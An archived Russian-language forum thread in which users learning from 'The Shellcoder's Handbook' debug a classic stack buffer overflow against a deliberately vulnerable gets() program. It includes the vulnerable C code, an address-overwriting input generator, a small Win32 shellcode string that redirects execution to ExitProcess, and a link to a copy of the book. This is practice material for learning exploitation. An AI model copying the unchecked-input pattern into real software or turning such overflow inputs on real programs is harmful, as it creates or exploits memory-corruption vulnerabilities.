Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Реверсинг (https://forum.antichat.xyz/forumdisplay.php?f=94)
-   -   Вопросы: buffer overflow (https://forum.antichat.xyz/showthread.php?t=26749)

Qwazar 07.11.2006 17:13

Вопросы: buffer overflow
 
Итак, купил вумную книжку "The Shellcoders Handbook: Discovering and Exploiting Security Holes". Пытаюсь разобраться с примерами из книжки на практике. Возникла проблема с первым же примером.

PHP код:

void return_input()
{
 
char array[30];
 
gets(array);
 
printf("%s\n", array);
}

main()
{
 
return_input();
 return 
0;


Хочу вызвать функцию return_input() дважды, при помощи gdb узнаю её адрес "0x8048594".

Потом (если я прав), смотрю результат дизассемблирования функции return_input(), для того, чтобы понять сколько места резервируется в стеке, вижу:
Код:

0x08048594 <return_input+0>:    push  %ebp
0x08048595 <return_input+1>:    mov    %esp,%ebp
0x08048597 <return_input+3>:    sub    $0x28,%esp
0x0804859a <return_input+6>:    sub    $0xc,%esp
0x0804859d <return_input+9>:    lea    0xffffffd8(%ebp),%eax

....

Если я прав, то мне нужно число 0x28 (40 в 10й системе) и к этому числу надо прибавить 8, для того чтобы переписать указатели ebp и eip. Или мне нужно (0x28+0xC)+8??

В общем пишу программулинку, которая тупо переписывала бы адреса:
PHP код:

main()
{
 
int i=0;
 
char stuffing[48];
  
 for (
i=0;i<=44;i+=4)
  *(
long*)&stuffing[i] = 0x8048594;
  
puts(stuffing);


В итоге когда её выход перенаправляю в уязвимую программу всё равно вижу "Segmentation fault (core dumped)".

Смотрю состояние регистров, ebp переписался значением 0x8048594, а в eip лежит 0x1. Почему? Что я не так делаю?

_Great_ 07.11.2006 17:40

Цитата:

Если я прав, то мне нужно число 0x28 (40 в 10й системе) и к этому числу надо прибавить 8, для того чтобы переписать указатели ebp и eip. Или мне нужно (0x28+0xC)+8??
Я проверил. Если ввести 1111111111111111111111111111111111111234 это чудо природы падает с AccessViolation по адресу 0x34333231. Но это, вроде, не 40-й байт, а чуть раньше. Это байты 36-ой, 37-ой, 38-ой и 39-й (если считать с нуля).
(Потрейсил ща олькой и убедился, что это и правда так. У тебя, правда, никсы, но вроде ничего меняться не должно тут)

Qwazar 07.11.2006 17:54

Даже в таком случае, как я понимаю, eip должен переписаться на нужное мне значение, т.к. я просто переписываю лишнее.

_Great_ 07.11.2006 18:09

Хм.. ну я составил шеллкод, который вырубает уязвимую программу. (под вин32)

char shellcode[] = "111111111111111111111111111111111111\x34\xff\x13\ x00" "\xe8\xa1\xce\x6d\x7c";

0013FF34 - адрес места в стеке, сразу после этих четырех байт

E8A1CE6D7C - код по адресу 0013FF34 - вызов ExitProcess:
E8 A1CE6D7C CALL kernel32.ExitProcess

Xex 07.11.2006 19:43

а у кого нить в электронке есть эта книга?

ProTeuS 07.11.2006 20:02

Цитата:

Сообщение от Qwazar
Даже в таком случае, как я понимаю, eip должен переписаться на нужное мне значение, т.к. я просто переписываю лишнее.

не было возможности скомпилить сабж, но думается, 4то ты увели4ивая размер входного переполяняемого буфера не только переполняешь его, перезвписав eip, но и затираешь данные, лежащие в кадре стека ниже, в 4ем и при4ина проблем

_Great_ 07.11.2006 20:11

Цитата:

Сообщение от ProTeuS
не было возможности скомпилить сабж, но думается, 4то ты увели4ивая размер входного переполяняемого буфера не только переполняешь его, перезвписав eip, но и затираешь данные, лежащие в кадре стека ниже, в 4ем и при4ина проблем

хз, у меня все прекрасно работает. Переполняется локальный буфер, затирается адрес возврата (на ebp уже плевать) на адрес кода call ExitProcess.
Работает на ура :)
А разве перезапись других данных кадра стека может за собой повлечь такое изменение EIP? че-та я в твою мысль не врубил%)

hidden 07.11.2006 20:12

сплоит: 0000000000000000000000000000000000(Alt+251)(Alt+18 )@
Если у кого есть в электронном варианте скинте плиз, тоже интерестно почитать

_Great_ 07.11.2006 20:16

Я б тоже почитал. Ни разу ее не видел

Go0o$E 07.11.2006 21:33

_http://slav0nic.xss.ru/books/hack_sec/THE%20SHELLCODER'S%20HANDBOOK.zip

+ сорсы к книге внутри.


Время: 23:17